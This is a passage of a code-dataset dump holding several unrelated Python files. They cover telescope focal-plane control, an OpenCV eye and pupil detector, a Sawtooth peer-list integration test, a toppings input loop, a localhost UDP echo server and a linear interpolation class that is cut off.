inspect.currentframe().f_code.co_name\n log.debug(f\"Executing: {this_function_name}\")\n ##-------------------------------------------------------------------------\n ## Pre-Condition Checks\n if skipprecond is True:\n log.debug('Skipping pre condition checks')\n else:\n FCS_ok()\n \n ##-------------------------------------------------------------------------\n ## Script Contents\n ROTPPOSNkw = ktl.cache(keyword='ROTPPOSN', service='dcs')\n ROTPPOSN = float(ROTPPOSNkw.read())\n ELkw = ktl.cache(keyword='EL', service='dcs')\n EL = float(ELkw.read())\n\n FCPA_ELkw = ktl.cache(keyword='PA_EL', service='mfcs')\n FCPA_ELkw.write(f\"{ROTPPOSN:.2f} {EL:.2f}\")\n\n done = FCS_in_position()\n\n ##-------------------------------------------------------------------------\n ## Post-Condition Checks\n if skippostcond is True:\n log.debug('Skipping post condition checks')\n else:\n FCS_ok()\n \n return done\n\n\n\n\n\n\n\n\n\n\n\n\n# def waitfor_FCS(timeout=60, PAthreshold=0.5, ELthreshold=0.5, noshim=False):\n# '''Wait for FCS to get close to actual PA and EL.\n# '''\n# log.info('Waiting for FCS to reach destination')\n# if noshim is False:\n# sleep(1)\n# done = check_FCS(PAthreshold=PAthreshold, ELthreshold=ELthreshold)\n# endat = dt.utcnow() + tdelta(seconds=timeout)\n# while done is False and dt.utcnow() < endat:\n# sleep(1)\n# done = check_FCS(PAthreshold=PAthreshold, ELthreshold=ELthreshold)\n# if done is False:\n# log.warning(f'Timeout exceeded on waitfor_FCS to finish')\n# return done\n","sub_path":"instruments/mosfire/fcs.py","file_name":"fcs.py","file_ext":"py","file_size_in_byte":4319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"297021726","text":"\"\"\" VZSEyeDetector from align-native EyeDetector.cs\n/// Encapsulating class for a haar-cascade based eye detector.\npublic class EyeDetector : IEyeDetector {\n#\"\"\"\nimport numpy as np\nimport cv2, os, sys, glob, math\n\nos.chdir('c:\\\\Users\\Michael Todd\\\\Documents\\\\Vision ZS\\\\tests\\\\')\n\nimg = cv2.imread('test2.png')\nheight,width,channels = img.shape\niw = 640\nih = int(iw*height/width)\n\nos.chdir('..\\\\output\\\\')\nimglist = glob.glob('*full.png')\n\n# /// Detects and returns two regions where the eyes should be in the image.\n# /// Returns a list of Rectangles for each eyes found in the given image. List can be 0-, 1-, or 2-sized. \ndef DetectEyes(img):\n #public List DetectEyes(Mat inputImage){\n try:\n imageGray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n halfWidthOffset = int(imageGray.shape[1] / 2)\n \n #//Contains images for each side of the face (right/left)\n rightFaceImage = imageGray[0:imageGray.shape[0], 0:halfWidthOffset]\n leftFaceImage = imageGray[0:imageGray.shape[0], halfWidthOffset:imageGray.shape[1]]\n \n rightFaceResult = FindEye(rightFaceImage);\n #print('rightFaceResult',rightFaceResult)\n eyeCenter = []\n if rightFaceResult is not None:\n if len(rightFaceResult) > 0:\n eyeCenter.append(rightFaceResult);\n else:\n eyeCenter.append([None,None,None,None]);\n else:\n eyeCenter.append([None,None,None,None]);\n \n leftFaceResult = FindEye(leftFaceImage);\n #print('leftFaceResult',leftFaceResult)\n if leftFaceResult is not None:\n if len(leftFaceResult) > 0:\n leftFaceOffsetResult = [leftFaceResult[0] + halfWidthOffset, leftFaceResult[1], leftFaceResult[2], leftFaceResult[3]]\n #new Rectangle(leftFaceResult.Value.X + halfWidthOffset, leftFaceResult.Value.Y,\n # leftFaceResult.Value.Width, leftFaceResult.Value.Height);\n eyeCenter.append(leftFaceOffsetResult);\n else:\n eyeCenter.append([None,None,None,None]);\n else:\n eyeCenter.append([None,None,None,None]);\n \n\n #//Further tune up the found eyes' ROI\n #return EyeDetectionEnhancement(eyeCenter, halfWidthOffset, imageGray.shape[0]);\n #print(eyeCenter)\n return eyeCenter\n\n except:\n print(\"DetectEyes exception\", sys.exc_info()[0]);\n\n\n\n\"\"\"/// \n/// Detects and returns two regions where the eyes should be in the image.\n/// Makes assumptions about the size of the eyes in the image, so this is not scale-invariant.\n/// \n/// Image containing only one eye (half of the face).\n#\"\"\"\ndef FindEye(faceSideImage):\n #private Rectangle? FindEye(Mat faceSideImage)\n\n #//Minimum expected pixel dimensions of the eye region.\n minEyeSize = 40\n\n haarcascadefile = '../tests/cascade/haarcascade_eye_tree_eyeglasses.xml'\n if os.path.isfile(haarcascadefile):\n glassesCascadeClassifier = cv2.CascadeClassifier(haarcascadefile)\n else:\n print('Missing haarcascade file')\n\n #//Contains rectangle object of all detected eye regions in the image resulting from the classifier. Contains false positives.\n eyeList = np.empty((0,4), dtype=np.int32)\n\n #try:\n #//Find/Detect eyes with the Haar Cascade Classifier and add results to a list.\n \n result = glassesCascadeClassifier.detectMultiScale(faceSideImage, 1.1, 0, minEyeSize);\n #print('result1',result)\n \"\"\"\n for (x,y,w,h) in result:\n cv2.rectangle(faceSideImage, (x,y), ((x+w),(y+h)), (0,0,255),2) \n cv2.line(faceSideImage, (x,y), ((x+w,y+h)), (0,0,255),2)\n cv2.line(faceSideImage, (x+w,y), ((x,y+h)), (0,0,255),2)\n #cv2.namedWindow('faceSideImage', cv2.WINDOW_NORMAL)\n #cv2.resizeWindow('faceSideImage', iw/ih*faceSideImage.shape[0], ih)\n cv2.imshow('faceSideImage', faceSideImage)\n #\"\"\"\n if len(result) > 0:\n eyeList = np.append(eyeList, result, axis=0)\n\n #//Filter image and run eye detection again\n imageGrayPostcontrast = 2*faceSideImage\n #faceSideImage.ConvertTo(imageGrayPostcontrast, DepthType.Default, 2, 0); //Apply contrast after converting to grayscale\n result = glassesCascadeClassifier.detectMultiScale(imageGrayPostcontrast, 1.1, 0, minEyeSize);\n\n #print('result2',result)\n \"\"\"\n for (x,y,w,h) in result:\n cv2.rectangle(imageGrayPostcontrast, (x,y), ((x+w),(y+h)), (0,0,255),2) \n cv2.line(imageGrayPostcontrast, (x,y), ((x+w,y+h)), (0,0,255),2)\n cv2.line(imageGrayPostcontrast, (x+w,y), ((x,y+h)), (0,0,255),2)\n cv2.imshow('post',imageGrayPostcontrast)\n #\"\"\"\n if len(result) > 0:\n eyeList = np.append(eyeList, result, axis=0);\n #print('eyeList',eyeList)\n \n \n #except: \n # #//TODO: Cleanup logic regarding null vs new Rectangle() as a return value\n # return None;\n \n \"\"\"\n for (x,y,w,h) in eyeList:\n cv2.rectangle(faceSideImage, (x,y), ((x+w),(y+h)), (0,0,255),2) \n cv2.line(faceSideImage, (x,y), ((x+w,y+h)), (0,0,255),2)\n cv2.line(faceSideImage, (x+w,y), ((x,y+h)), (0,0,255),2)\n\n cv2.namedWindow('faceSideImage', cv2.WINDOW_NORMAL)\n cv2.resizeWindow('faceSideImage', iw/ih*faceSideImage.shape[0], ih)\n cv2.imshow('faceSideImage', faceSideImage)\n\n while True:\n if cv2.waitKey(1) & 0xFF == ord('q') or cv2.waitKey(1) == 27:\n break\n #\"\"\"\n\n\n if len(eyeList) > 0: \n #// Takes the Eye ROIs detected and generates a new one. Position: Average, Size: Proportional\n eyeRect = [0,0,0,0]\n mpx = 0\n mpy = 0\n minx = eyeList[0][0]\n miny = eyeList[0][1]\n maxx = eyeList[0][0] + eyeList[0][2]\n maxy = eyeList[0][1] + eyeList[0][3]\n \n for item in eyeList:\n mpx = mpx + item[0] + item[2] / 2\n mpy = mpy + item[1] + item[3] / 2\n if item[0] < minx:\n minx = item[0]\n if item[1] < miny:\n miny = item[1]\n if item[0] + item[2] > maxx:\n maxx = item[0] + item[2]\n if item[1] + item[3] > maxy:\n maxy = item[1] + item[3]\n\n mpx = mpx / len(eyeList)\n mpy = mpy / len(eyeList)\n \n eyeRect = [int(mpx - (maxx-minx)*0.7*0.5), int(mpy - (maxy-miny)*0.5*0.5), int((maxx-minx)*0.7), int((maxy-miny)*0.5)]\n \"\"\"\n Rectangle eyeRect = new Rectangle(\n new Point(\n eyeList.Sum(item => item.X + item.Width / 2) / eyeList.Count,\n eyeList.Sum(item => item.Y + item.Height / 2) / eyeList.Count),\n new Size(\n (int)((eyeList.Max(item => item.Right) - eyeList.Min(item => item.Left)) * 0.7),\n (int)((eyeList.Max(item => item.Bottom) - eyeList.Min(item => item.Top)) * 0.5)));\n\n //Add resulting point to the list.\n Point shiftingPoint = new Point(eyeRect.Width / -2, eyeRect.Height / -2);\n\n eyeRect.X += shiftingPoint.X;\n eyeRect.Y += shiftingPoint.Y;\n #\"\"\"\n \n #print('eyeRect',eyeRect)\n #print(minx,maxx,mpx)\n \n return eyeRect;\n else:\n #print(\"Eye not found!\");\n return None;\n \n\n\"\"\"\n/// \n/// Generates eye position predictions when one of or the two eyes weren't found.\n/// \n/// List of eye regions. Size: 2.\n/// Pixel image offset that divides the face in two.\n/// Height of the image in pixels.\n#\"\"\"\ndef EyeDetectionEnhancement(eyeCenter, faceSideOffset, imageHeight):\n #private List EyeDetectionEnhancement(List eyeCenter, int faceSideOffset, int imageHeight)\n\n #eyeCenter.AssertListSize(2, \"Detected eyes\");\n\n #imageHeight.AssertIsPositive(\"image height\");\n #faceSideOffset.AssertIsPositive(\"face side offset\");\n\n #//if both eyes are detected correctly\n if (not eyeCenter[0][0] is None and not eyeCenter[1][0] is None):\n return eyeCenter;\n \n\n #//if both eyes are not detected correctly\n if (eyeCenter[0][0] is None and eyeCenter[1][0] is None):\n eyeCenter[0] = [faceSideOffset / 3, imageHeight / 10, faceSideOffset / 5, imageHeight / 3]\n #new Rectangle(faceSideOffset / 3, imageHeight / 10, faceSideOffset / 5, imageHeight / 3);\n eyeCenter[1] = [eyeCenter[0][0] + faceSideOffset, eyeCenter[0][1], eyeCenter[0][2], eyeCenter[0][3]]\n #new Rectangle(eyeCenter[0].X + faceSideOffset, eyeCenter[0].Y, eyeCenter[0].Width, eyeCenter[0].Height);\n\n return eyeCenter;\n \n\n #//if the right eye detected and the left one not detected correctly\n if (eyeCenter[1][0] is None and not eyeCenter[0][0] is None):\n #//correctify the left eye\n eyeCenter[1] = [eyeCenter[0][0] + faceSideOffset, eyeCenter[0][1], eyeCenter[0][2], eyeCenter[0][3]]\n #new Rectangle(eyeCenter[0].X + faceSideOffset, eyeCenter[0].Y, eyeCenter[0].Width, eyeCenter[0].Height);\n \n #//if the left eye detected and the right one not detected correctly\n elif (not eyeCenter[1][0] is None and eyeCenter[0][0] is None):\n #//correctify the right eye\n eyeCenter[0] = [eyeCenter[1][0] - faceSideOffset, eyeCenter[1][1], eyeCenter[1][2], eyeCenter[1][3]]\n #new Rectangle(eyeCenter[1].X - faceSideOffset, eyeCenter[1].Y, eyeCenter[1].Width, eyeCenter[1].Height);\n \n return eyeCenter;\n\n\"\"\"\n/// Computes a cropping area according to relative measurements related to marker positions.\n/// Marker 2D geometry in image.\n/// Proportional RoI related to width and height of enclosing marker area\n#\"\"\"\ndef CropImageROI(markers, relativeRoI):\n enclosingMarkerArea = (markers[0],markers[1],markers[2]-markers[0],markers[3]-markers[1])\n if enclosingMarkerArea[3] >= 0:\n croppedHeightOffset = relativeRoI[1] * enclosingMarkerArea[3]\n else:\n croppedHeightOffset = (relativeRoI[3] + relativeRoI[1]) * enclosingMarkerArea[3];\n croppedHeight = abs(relativeRoI[3] * enclosingMarkerArea[3]);\n\n if enclosingMarkerArea[2] >= 0:\n croppedWidthOffset = relativeRoI[0] * enclosingMarkerArea[2]\n else:\n croppedWidthOffset = (relativeRoI[2] - relativeRoI[0]) * enclosingMarkerArea[2];\n croppedWidth = abs(relativeRoI[2] * enclosingMarkerArea[2]);\n\n croppedTopLeft = np.array([int(enclosingMarkerArea[0]), int(enclosingMarkerArea[1])]) + np.array([int(croppedWidthOffset), int(croppedHeightOffset)]);\n croppedROIsize = (int(croppedWidth), int(croppedHeight));\n return (croppedTopLeft[0], croppedTopLeft[1]) + croppedROIsize;\n\n\"\"\"\n/// Detect the region where eyes are located inside an image.\n/// Input image.\n/// Marker 2D geometry in the input image.\n/// Returns a list (2) of rectangular areas that enclose the eyes.\n#\"\"\"\ndef FindEyeRegion(inputImage, markers, measurementFrameModel):\n try:\n #//Generate cropping rectangle for input image to improve detection results\n cropImageROI = CropImageROI(markers, measurementFrameModel);\n \n cropImage = inputImage[cropImageROI[1]:cropImageROI[1]+cropImageROI[3], cropImageROI[0]:cropImageROI[0]+cropImageROI[2]]\n eyesROI = DetectEyes(cropImage);\n #print('eyesROI',eyesROI)\n\n #//Reproject resulting point coordinates to the original input image space\n for i in range(0, len(eyesROI)):\n if eyesROI[i] is not None:\n eyesROI[i][0] = eyesROI[i][0] + cropImageROI[0]\n eyesROI[i][1] = eyesROI[i][1] + cropImageROI[1]\n #eyesROI[i] = eyesROI[i].OffsetByPoint(cropImageROI.Location);\n else:\n eyesROI[i] = [i * cropImageROI[2] / 2, 0, cropImageROI[2] / 2, cropImageROI[3]]\n #eyesROI[i] = new Rectangle((i * cropImageROI.Width / 2), 0, cropImageROI.Width / 2, cropImageROI.Height).OffsetByPoint(cropImageROI.Location);\n \n return eyesROI #.Select(item => item.ToRectangle2i()).ToList();\n #\"\"\" \n \n except:\n pass\n \ndef FindPupilCoordinates(inputImage, eyeROI):\n try:\n #PupilDetector pupilDetect = new PupilDetector();\n\n #Point pupilPosition;\n #using (Mat pupilRegion = new Mat(inputImage, eyeROI.ToRectangle())) {\n pupilRegion = inputImage[eyeROI[1]:eyeROI[1]+eyeROI[3], eyeROI[0]:eyeROI[0]+eyeROI[2]]\n pupilPosition = DetectPupil(pupilRegion);\n \n #//Reproject pupil coordinates to the input images coordinates\n #if (!pupilPosition.Equals(new Point())) {\n # pupilPosition = pupilPosition.OffsetPoint(new Point(eyeROI.X, eyeROI.Y));\n #} else {\n # pupilPosition = eyeROI.ToRectangle().CentroidApprox();\n #}\n if pupilPosition is not None:\n pupilPosition = [pupilPosition[0] + eyeROI[0], pupilPosition[1] + eyeROI[1]]\n\n return pupilPosition #.ToVector2d();\n \n except:\n #// FIXME: Might not work in a variety of contexts\n #System.Diagnostics.Debug.WriteLine(\"Exception happened while detecting pupils. Error Message {0}\", ex.Message);\n print('FindPupilCoordinates exception')\n \ndef DetectPupil(inputImage):\n binaryImageThreshold = 7 #\n pixelRelativeSizeConst = 20.0 #\n blobMinimumDistanceToCenterConst = 9999 #\n \n try:\n #List selectedBlobsCenter = new List();\n selectedBlobsCenter = []\n #Point pupilCoordinate;\n\n #//Generates an estimated minimum pupil pixel size relative to image (or ROI) size, based on the results from previous tests.\n # what does this achieve? const / ratio * ratio = const......\n pupilRelativeSize = pixelRelativeSizeConst / (inputImage.shape[1] * inputImage.shape[0]);\n pupilPixelSize = (inputImage.shape[1] * inputImage.shape[0]) * pupilRelativeSize;\n \n #VectorOfVectorOfPoint contours = new VectorOfVectorOfPoint();\n\n #using (Mat imageFilter = new Mat())\n #using (Mat grayScaleImage = new Mat())\n #using (Mat binaryImage = new Mat())\n #{\n #//Applies contrast tuning before converting it to grayscale\n # this multiplies the pixel values of the image by the given alpha(3)+beta(0) and stores as imageFilter\n #inputImage.ConvertTo(imageFilter, DepthType.Default, 3, 0);\n imageFilter = inputImage * 3\n\n #//Converts a copy of the input image to draw on it.\n #//FIXME: the input image should be 3 channels.\n #//FIXME: try ColorConversion.Bgr2Gray\n #CvInvoke.CvtColor(imageFilter, grayScaleImage, ColorConversion.Rgba2Gray);\n grayScaleImage = cv2.cvtColor(imageFilter, cv2.COLOR_RGBA2GRAY)\n\n cv2.namedWindow('imgpg', cv2.WINDOW_NORMAL)\n cv2.moveWindow('imgpg',int(iw*1.5),0)\n cv2.imshow('imgpg',grayScaleImage)\n\n #//Prepares a copy of the input image to binarize.\n #CvInvoke.EqualizeHist(grayScaleImage, grayScaleImage);\n grayScaleImage = cv2.equalizeHist(grayScaleImage)\n\n #CvInvoke.Threshold(grayScaleImage, binaryImage, binaryThreshold, 255, ThresholdType.BinaryInv);\n thresh,binaryImage = cv2.threshold(grayScaleImage, binaryImageThreshold, 255, cv2.THRESH_BINARY_INV)\n\n #//Finds blobs contours in binary image\n #CvInvoke.FindContours(binaryImage, contours, null, RetrType.List, ChainApproxMethod.ChainApproxSimple);\n im2, contours, hierarchy = cv2.findContours(binaryImage, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\n #print(len(contours))\n #print(contours)\n \n #//If there are no blobs (pupils) detected, return an empty Point.\n if len(contours) == 0:\n return None\n \n for i in range(0, len(contours)):\n if cv2.contourArea(contours[i]) > pupilPixelSize:\n #// Calculate the center of the bounding box that covers the blob. \n # convert to floating point \n #contourPoints = contours[i].astype(np.float64)\n contourPoints = contours[i]\n #print(contourPoints)\n #PointF[] contourPoints = contours[i].ToArray().Select(item => new PointF(item.X, item.Y)).ToArray();\n \n #Rectangle boundingBox = PointCollection.BoundingRectangle(contourPoints);\n #print(cv2.boundingRect(contourPoints))\n boundingBox = cv2.boundingRect(contourPoints)\n \n #Point blobCenter = new Point(boundingBox.X + boundingBox.Width / 2, boundingBox.Y + boundingBox.Height / 2);\n blobCenter = (boundingBox[0] + boundingBox[2]/2, boundingBox[1] + boundingBox[3]/2)\n #print('blobCenter',blobCenter,'boundingBox',boundingBox)\n #selectedBlobsCenter.Add(new Rectangle(blobCenter, boundingBox.Size));\n selectedBlobsCenter.append([blobCenter[0],blobCenter[1],boundingBox[2],boundingBox[3]])\n\n #print(selectedBlobsCenter)\n if selectedBlobsCenter is not None:\n if len(selectedBlobsCenter) > 0:\n #//Gets the blob with the minimum euclidean distance to ROI center.\n blobMinimumDistanceToCenter = blobMinimumDistanceToCenterConst;\n blobCloserToCenterIdx = 0; \n for i in range(0,len(selectedBlobsCenter)):\n blobDistanceToCenter = math.sqrt((selectedBlobsCenter[i][1] - inputImage.shape[0]/2)**2\n + (selectedBlobsCenter[i][0] - inputImage.shape[1]/2)**2) \\\n / (selectedBlobsCenter[i][2] * selectedBlobsCenter[i][3])\n #double blobDistanceToCenter = Math.Sqrt(Math.Pow(selectedBlobsCenter[i].Y - (inputImage.Height / 2), 2) + Math.Pow(selectedBlobsCenter[i].X - (inputImage.Width / 2), 2)) / (selectedBlobsCenter[i].Width * selectedBlobsCenter[i].Height);\n \n if (blobDistanceToCenter < blobMinimumDistanceToCenter):\n blobMinimumDistanceToCenter = blobDistanceToCenter;\n blobCloserToCenterIdx = i;\n pupilCoordinate = [selectedBlobsCenter[blobCloserToCenterIdx][0],selectedBlobsCenter[blobCloserToCenterIdx][1]];\n #print('pupilCoordinate',pupilCoordinate)\n else:\n pupilCoordinate = None\n \n \n for c in contours:\n cv2.drawContours(inputImage, [c], -1, (0,255,0), 5)\n\n cv2.namedWindow('imgp2', cv2.WINDOW_NORMAL)\n #cv2.resizeWindow('imgp2', iw, ih)\n cv2.moveWindow('imgp2',iw,ih)\n cv2.imshow('imgp2',imageFilter)\n\n cv2.namedWindow('imgp3', cv2.WINDOW_NORMAL)\n #cv2.resizeWindow('imgp3', iw, ih)\n cv2.moveWindow('imgp3',int(iw*1.5),ih)\n cv2.imshow('imgp3',binaryImage)\n\n\n cv2.namedWindow('imgp', cv2.WINDOW_NORMAL)\n #cv2.resizeWindow('imgp', iw, ih)\n cv2.moveWindow('imgp',iw,0)\n cv2.imshow('imgp',inputImage)\n\n \n cv2.namedWindow('imgpg2', cv2.WINDOW_NORMAL)\n cv2.moveWindow('imgpg2',int(iw*2),0)\n cv2.imshow('imgpg2',grayScaleImage)\n cv2.waitKey(100)\n\n return pupilCoordinate;\n \n except:\n print('DetectPupil exception',sys.exc_info())\n \n \n\nlogfile = open('testoutput\\\\VZSDetector.log', 'w')\n\nfor imgname in imglist:\n if imglist.index(imgname)+1 == 8:\n #imgname='..\\\\tests\\\\test.png'\n img = cv2.imread(imgname)\n measurementFrameModel = (0.05,0.2,0.9,0.6) # from framegeometry\n if img.shape[1] < 3000:\n markers = (850,400,1700,1000)\n else:\n markers = (1000,500,2150,1300)\n\n img3 = img.copy()[markers[1]:markers[3],markers[0]:markers[2]]\n\n eyeCoordinates = FindEyeRegion(img, markers, measurementFrameModel) \n if eyeCoordinates is not None:\n rightEyeRectangle = eyeCoordinates[0]\n leftEyeRectangle = eyeCoordinates[1]\n \n #// Find pupils inside each eye rectangle\n rightEyePupilPosition = FindPupilCoordinates(img, rightEyeRectangle);\n leftEyePupilPosition = FindPupilCoordinates(img, leftEyeRectangle);\n pupilCoordinates = [rightEyePupilPosition, leftEyePupilPosition]\n \n if imgname not in imglist:\n print(imgname,eyeCoordinates)\n else:\n print(imglist.index(imgname)+1,eyeCoordinates,pupilCoordinates)\n \n #draw square\n img2 = img.copy()\n\n for (x,y,w,h) in eyeCoordinates:\n cv2.rectangle(img2, (x,y), ((x+w),(y+h)), (0,0,255),2) \n cv2.line(img2, (x,y), ((x+w,y+h)), (0,0,255),2)\n cv2.line(img2, (x+w,y), ((x,y+h)), (0,0,255),2)\n\n if pupilCoordinates is not None:\n try:\n for (x,y) in pupilCoordinates:\n cv2.line(img3, (int(x-20)-markers[0], int(y-20)-markers[1]), (int(x+20)-markers[0],int(y+20)-markers[1]), (255,255,255), 3)\n cv2.line(img3, (int(x-20)-markers[0], int(y+20)-markers[1]), (int(x+20)-markers[0],int(y-20)-markers[1]), (255,255,255), 3)\n except:\n pass # one of the pupilCoordinates is None\n\n cv2.namedWindow('img3', cv2.WINDOW_NORMAL)\n cv2.resizeWindow('img3', markers[2]-markers[0], markers[3]-markers[1])\n cv2.moveWindow('img3',0,ih+30)\n cv2.imshow('img3', img3)\n\n cv2.namedWindow('img', cv2.WINDOW_NORMAL)\n cv2.resizeWindow('img', iw, ih)\n cv2.moveWindow('img',0,0)\n cv2.imshow('img', img2)\n cv2.waitKey(100)\n \n else:\n print(imglist.index(imgname)+1,eyeCoordinates,'eyes not found in',imgname)\n\n outstr = str(imglist.index(imgname)+1) + '|' + str(eyeCoordinates) + '|' + str(pupilCoordinates)\n logfile.write(outstr + '\\n')\n\n frame2 = img.copy()\n if eyeCoordinates is not None:\n x,y,w,h = rightEyeRectangle\n cv2.rectangle(frame2, (x,y), ((x+w),(y+h)), (0,0,255),2)\n x,y,w,h = leftEyeRectangle\n cv2.rectangle(frame2, (x,y), ((x+w),(y+h)), (0,0,255),2)\n \n frame2limits = [np.min(eyeCoordinates,axis=0)[0], np.min(eyeCoordinates,axis=0)[1],\\\n np.max(eyeCoordinates,axis=0)[0]+np.max(eyeCoordinates,axis=0)[2],\\\n np.max(eyeCoordinates,axis=0)[1]+np.max(eyeCoordinates,axis=0)[3]]\n frame2 = frame2[frame2limits[1]:frame2limits[3], frame2limits[0]:frame2limits[2]]\n \n if imgname in imglist:\n cv2.imwrite('testoutput\\\\'+str(imglist.index(imgname)+1)+'.png', frame2)\n\nlogfile.close()\n\"\"\"\n List eyeCoordinates = FindEyeRegion(image, markerGeometry, measurementFrameModel);\n Rectangle2i rightEyeRectangle = eyeCoordinates[0];\n Rectangle2i leftEyeRectangle = eyeCoordinates[1];\n result.RightEye.EyeRectangle = rightEyeRectangle.ToRectangle2d();\n result.LeftEye.EyeRectangle = leftEyeRectangle.ToRectangle2d();\n\n // Find pupils inside each eye rectangle\n result.RightEye.PupilPosition = FindPupilCoordinates(image, rightEyeRectangle);\n result.LeftEye.PupilPosition = FindPupilCoordinates(image, leftEyeRectangle);\n\n // Find frame contour in image\n List pupilCoordinates = new List { result.RightEye.PupilPosition, result.LeftEye.PupilPosition };\n List frameContours = FindFrameContour(image, pupilCoordinates, markerGeometry, measurementFrameModel);\n Polygon rightFrameContour = frameContours[0];\n Polygon leftFrameContour = frameContours[1];\n #\"\"\"\n","sub_path":"VZSEyeDetector.py","file_name":"VZSEyeDetector.py","file_ext":"py","file_size_in_byte":24192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"355014177","text":"# Copyright 2017 Intel Corporation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ------------------------------------------------------------------------------\n\nimport json\nimport shlex\nimport logging\nimport unittest\nimport subprocess\n\nfrom sawtooth_integration.tests.integration_tools import wait_for_rest_apis\n\nLOGGER = logging.getLogger(__name__)\nLOGGER.setLevel(logging.DEBUG)\n\n\nEXPECTED = {\n 0: {1},\n 1: {0, 2, 3},\n 2: {1, 4},\n 3: {1, 4},\n 4: {2, 3},\n}\n\n\nclass TestPeerList(unittest.TestCase):\n def setUp(self):\n endpoints = ['rest-api-{}:8008'.format(i)\n for i in range(len(EXPECTED))]\n\n wait_for_rest_apis(endpoints)\n\n def test_peer_list(self):\n '''Test various CLI commands for reporting peers.\n\n Five validators are started, peered as described in EXPECTED\n (see the test's associated yaml file for details).\n '''\n\n LOGGER.info('Testing `sawtooth peer list`')\n\n for node_number, peer_numbers in EXPECTED.items():\n actual_peers = _get_peers(node_number)\n\n expected_peers = {\n _make_tcp_address(peer_number)\n for peer_number in peer_numbers\n }\n\n LOGGER.debug(\n 'Actual: %s -- Expected: %s',\n actual_peers,\n expected_peers)\n\n self.assertEqual(\n actual_peers,\n expected_peers)\n\n ###\n\n LOGGER.info('Testing `sawtooth status show`')\n\n sawtooth_status_expected = {\n node_number: {\n _make_tcp_address(node_number): [\n {'endpoint': _make_tcp_address(peer_number)}\n for peer_number in peers\n ]\n }\n for node_number, peers in EXPECTED.items()\n }\n\n for node_number in EXPECTED:\n status = json.loads(_run_peer_command(\n 'sawtooth status show --url {}'.format(\n _make_http_address(node_number))))\n\n LOGGER.debug(\n 'Node %s status: %s',\n node_number,\n json.dumps(status, indent=4))\n\n self.assertEqual(\n sawtooth_status_expected[node_number],\n {status['endpoint']: status['peers']},\n )\n\n ###\n\n LOGGER.info('Testing `sawnet peers list`')\n\n peers_list_expected = {\n _make_tcp_address(node_number): [\n _make_tcp_address(peer_number)\n for peer_number in peers\n ]\n for node_number, peers in EXPECTED.items()\n }\n\n http_addresses = ','.join([\n _make_http_address(node_number)\n for node_number in EXPECTED\n ])\n\n # make sure pretty-print option works\n subprocess.run(\n shlex.split(\n 'sawnet peers list {} --pretty'.format(http_addresses)\n ), check=True\n )\n\n sawnet_peers_output = json.loads(\n _run_peer_command(\n 'sawnet peers list {}'.format(http_addresses)\n )\n )\n\n self.assertEqual(\n sawnet_peers_output,\n peers_list_expected)\n\n # run `sawnet peers graph`, but don't verify output\n subprocess.run(\n shlex.split(\n 'sawnet peers graph --force {}'.format(http_addresses)\n ), check=True\n )\n\n\ndef _get_peers(node_number, fmt='json'):\n cmd_output = _run_peer_command(\n 'sawtooth peer list --url {} --format {}'.format(\n _make_http_address(node_number),\n fmt))\n\n if fmt == 'json':\n parsed = json.loads(cmd_output)\n\n elif fmt == 'csv':\n parsed = cmd_output.split(',')\n\n return set(parsed)\n\n\ndef _run_peer_command(command):\n return subprocess.check_output(\n shlex.split(command)\n ).decode().strip().replace(\"'\", '\"')\n\n\ndef _make_http_address(node_number):\n return 'http://rest-api-{}:8008'.format(node_number)\n\n\ndef _make_tcp_address(node_number):\n return 'tcp://validator-{}:8800'.format(node_number)\n","sub_path":"integration/sawtooth_integration/tests/test_peer_list.py","file_name":"test_peer_list.py","file_ext":"py","file_size_in_byte":4623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"558651285","text":"#Adding pizza toppings until they want to stop\n\nactive = True\n\nwhile active:\n topping = input('What topping do you want? Enter \"quit\" to quit. ' )\n topping = topping.lower()\n if topping == 'quit':\n break\n else:\n print(f'Adding {topping}')","sub_path":"User Input and While Loops/pizza_toppings.py","file_name":"pizza_toppings.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"181200631","text":"import socket,time\ns=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)#创建一个socket\ns.bind(('127.0.0.1',9999))\n#s.listen(5)\nprint('Waiting for connection...')\nwhile True:\n #sock,addr=s.accept()\n #t=threading.Thread(target=tcplink, args=(sock, addr))\n #t.start()\n data,addr=s.recvfrom(1024)\n print('Recevied from %s:%s'%addr)\n reply='Hello,%s'%data.decode('utf-8')\n s.sendto(reply.encode('utf-8'),addr)\n\ndef tcplink(sock,addr):\n print('Accept new connection form %s:%s...'%addr)\n sock.send(b'welcome!')\n while True:\n data=sock.recv(1024)\n time.sleep(1)\n if not data or data.decode('utf-8')=='exit':\n break\n sock.send(('hello,%s'%data.decode('utf-8')).encode('utf-8'))\n sock.close()\n print('Connection from %s:%s closed'%addr)","sub_path":"py-server/tcp-ip/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"460802364","text":"import numpy as np\n\n\nclass linear:\n\t'''a 2d parametric linear interp'''\n\tdef __init__(self, t, x, y):\n\t\tself._t = np.array(t)\n\t\tself._x = np.array(x)\n\t\tself._y = np.array(y)\n\t\tdx = []\n\t\tdy = []\n\t\tfor i in range(self._t.size-1):\n\t\t\tdx.append((x[i+1]-x[i])/(t[i+1]-t[i]))\n\t\t\tdy.append((y[i+1]-y[i])/(t[i+1]-t[i]))\n\t\tself._dx = np.array(dx)\n\t\tself._dy = np.array(dy)\n\t\t\n\tdef f(self, t):\n\t\tind = np.searchsorted(self._t, t)\n\t\tif self._t[ind] == t:\n\t\t\treturn (self._x[ind],self._y[ind])\n\t\telif t < self._t[0]:\n\t\t\treturn (self._x[0],self._y[0])\n\t\telif ind == 